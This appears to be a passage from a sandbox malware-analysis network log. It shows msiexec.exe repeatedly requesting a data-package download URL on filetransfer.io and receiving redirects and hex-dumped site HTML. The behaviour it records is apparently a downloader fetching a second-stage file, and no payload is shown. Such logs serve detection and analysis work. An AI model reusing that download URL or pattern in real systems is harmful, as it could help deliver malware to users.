2025-01-10 19:14:18 UTC	1369	IN	Data Raw: 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 58 58 40 73 Data Ascii: GES.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXXXX@s
2025-01-10 19:14:18 UTC	1356	IN	Data Raw: 77 69 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f 73 70 61 6e Data Ascii: witch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></span
2025-01-10 19:14:18 UTC	1369	IN	Data Raw: 62 30 35 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d 6f Data Ascii: b05<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Fremo
2025-01-10 19:14:18 UTC	1369	IN	Data Raw: 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 78 Data Ascii: </label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="max
2025-01-10 19:14:18 UTC	90	IN	Data Raw: 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0d 0a Data Ascii: ass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	57931	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:19 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:19 UTC	617	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:19 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:19 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fZdY3llNhzuSF0rCfwu12%2BTbhiU150MISiU4NxM7ktsH6Gg4oaEYMXoZo8Nv%2BeI6pR4RhzdddKBsNAigsFn51Zw4FKM3G%2B68dZ89%2Fts5yNIPKZovAL07DMlT2zJvdEjs7DI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd49ba07c32b-EWR
2025-01-10 19:14:19 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	57932	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:20 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:20 UTC	942	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: OtNime8wVcGbQpsHpWPZ9snJBheTWaSIo3/9V7HmPAmGZY170yRrQsUxVYI1z2/XKlgVaDbGriY= x-amz-request-id: 6Q0174E9E05EDBAW Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RoH1FYlFDyssGX29rqZcIZfMz38M4L2XB0WKK0A8B0bLY1IKBj45ZctuGjeu19otk9XDiH27xG7mZtGR2kji2MMwBxaGKhZ%2FBXacaFvJPvTF5vvRZ8PDLlD%2BEHAn4b1GDe8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd4db9f24265-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1587&min_rtt=1554&rtt_var=650&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1601755&cwnd=206&unsent_bytes=0&cid=ec8b65035bf44dd5&ts=206&x=0"
2025-01-10 19:14:20 UTC	1369	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:20 UTC	1369	IN	Data Raw: 6e 22 20 73 69 7a 65 73 3d 22 31 36 30 78 31 36 30 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 36 30 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 39 36 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 Data Ascii: n" sizes="160x160" href="/img/favicon/160.png"><link rel="apple-touch-icon" sizes="192x192" href="/img/favicon/192.png"><link rel="apple-touch-icon-precomposed" sizes="96x96" href="/img/favicon/solid/96.png"><link rel="apple-touch-icon-precompose
2025-01-10 19:14:20 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 43 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 49 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 34 34 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 37 30 78 37 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 74 69 Data Ascii: <meta name="application-name" content="FileTransfer.io"><meta name="msapplication-TileColor" content="#000000"><meta name="msapplication-TileImage" content="/img/favicon/144.png"><meta name="msapplication-square70x70logo" content="/img/favicon/ms/ti
2025-01-10 19:14:20 UTC	1369	IN	Data Raw: 75 74 73 20 3d 20 7b 7d 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 74 61 67 69 6e 70 75 74 20 3d 20 22 53 65 70 61 72 61 74 65 20 77 69 74 68 20 61 20 63 6f 6d 6d 61 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 4c 6f 61 64 69 6e 67 20 3d 20 22 50 6c 65 61 73 65 20 77 61 69 74 e2 80 a6 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 43 6c 6f 73 65 20 3d 20 22 43 6c 6f 73 65 20 28 45 53 43 29 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 65 6d 61 69 6c 52 65 71 75 69 72 65 64 20 3d 20 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 6e 20 65 2d 6d 61 69 6c 20 61 64 64 72 65 73 73 20 Data Ascii: uts = {}; MESSAGES.placeholders.taginput = "Separate with a comma"; MESSAGES.placeholders.popupLoading = "Please wait"; MESSAGES.placeholders.popupClose = "Close (ESC)"; MESSAGES.alerts.emailRequired = "Please enter an e-mail address
2025-01-10 19:14:20 UTC	1369	IN	Data Raw: 53 41 47 45 53 2e 6c 61 62 65 6c 73 2e 63 6f 70 79 4d 61 6e 75 61 6c 6c 79 2e 63 6d 64 20 3d 20 22 50 72 65 73 73 20 e2 8c 98 2d 43 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 66 69 6c 65 6c 69 73 74 20 3d 20 22 43 68 6f 6f 73 65 20 66 69 6c 65 73 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 69 6e 67 20 3d 20 22 25 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 43 6f 6d 70 6c 65 74 65 20 3d 20 22 44 61 74 61 20 70 61 63 6b 61 67 65 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 50 72 6f 62 6c 65 6d 20 3d 20 22 50 72 6f 62 6c 65 6d 20 77 69 74 68 20 75 70 Data Ascii: SAGES.labels.copyManually.cmd = "Press -C"; MESSAGES.titles.filelist = "Choose files"; MESSAGES.titles.uploading = "% uploaded"; MESSAGES.titles.uploadComplete = "Data package uploaded"; MESSAGES.titles.uploadProblem = "Problem with up
2025-01-10 19:14:20 UTC	1369	IN	Data Raw: 6f 6f 67 6c 65 20 74 61 67 20 28 67 74 61 67 2e 6a 73 29 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 47 2d 47 4b 4a 5a 54 35 30 46 35 58 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0a 20 20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0a 0a 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 20 Data Ascii: oogle tag (gtag.js) --><script async src="https://www.googletagmanager.com/gtag/js?id=G-GKJZT50F5X"></script><script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config',
2025-01-10 19:14:20 UTC	410	IN	Data Raw: 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 74 69 74 6c 65 3d 22 52 65 71 75 65 73 74 20 66 69 6c 65 73 22 0a 09 09 09 09 20 20 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 22 20 68 72 65 66 3d 22 2f 70 72 69 63 65 6c 69 73 74 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 2d 69 74 65 6d 22 3e 52 65 71 75 65 73 74 20 66 69 6c 65 73 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 62 61 64 67 65 20 73 6d 61 6c 6c 20 66 69 6c 6c 65 64 22 3e 62 65 74 61 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 3c 2f 6c 69 3e 0a 0a 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 Data Ascii: avigation-item"><a title="Request files" class="underline" href="/pricelist"><span class="underline-item">Request files</span><span class="badge small filled">beta</span></a></li><li class="navigation-item"><a
2025-01-10 19:14:20 UTC	1369	IN	Data Raw: 32 61 32 38 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d Data Ascii: 2a28<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Frem
2025-01-10 19:14:20 UTC	1369	IN	Data Raw: 73 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 Data Ascii: s</label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="ma
2025-01-10 19:14:20 UTC	1369	IN	Data Raw: 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 Data Ascii: lass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	57933	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:21 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:21 UTC	619	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:21 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:21 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HvKiZQFB60%2B8Yj7vPb38xHGytPU%2BYmNqPO3EeIQf%2FRnNw8p8HcfkqbokVIUwCSncevJNPCskO%2FtSAd%2BW8XKBDoTJELjlTHx8LQIXMPlyWRGvFWmgOQEYAFTFYc76QSyIC4o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd534d188c59-EWR
2025-01-10 19:14:21 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	57934	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:21 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:22 UTC	946	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: EPKD8tpqhV2MIqsEoXTd6dTrBjTIS4uYWfVmz/ExU8+e8hQbx/RLzQ9JtlSzNEbERiEVEW5Y37A= x-amz-request-id: 8V78XN9ZCMRJ0X3A Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=23aBDPI9Tzpn440JD7pzxSvVcHeprGiTwP98s%2BTMzXpQdYRSq7eqAuwNuAKK9xzr%2BLqZBCHdY%2F9HDCl14uYMqUno1vDSAb0RqrnUgOtuBuo8BO%2BKz032PdahUS3MwBUCxU0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd570cd84294-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1581&min_rtt=1567&rtt_var=616&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=798&delivery_rate=1737061&cwnd=217&unsent_bytes=0&cid=19d1a7bc37f3ebd0&ts=168&x=0"
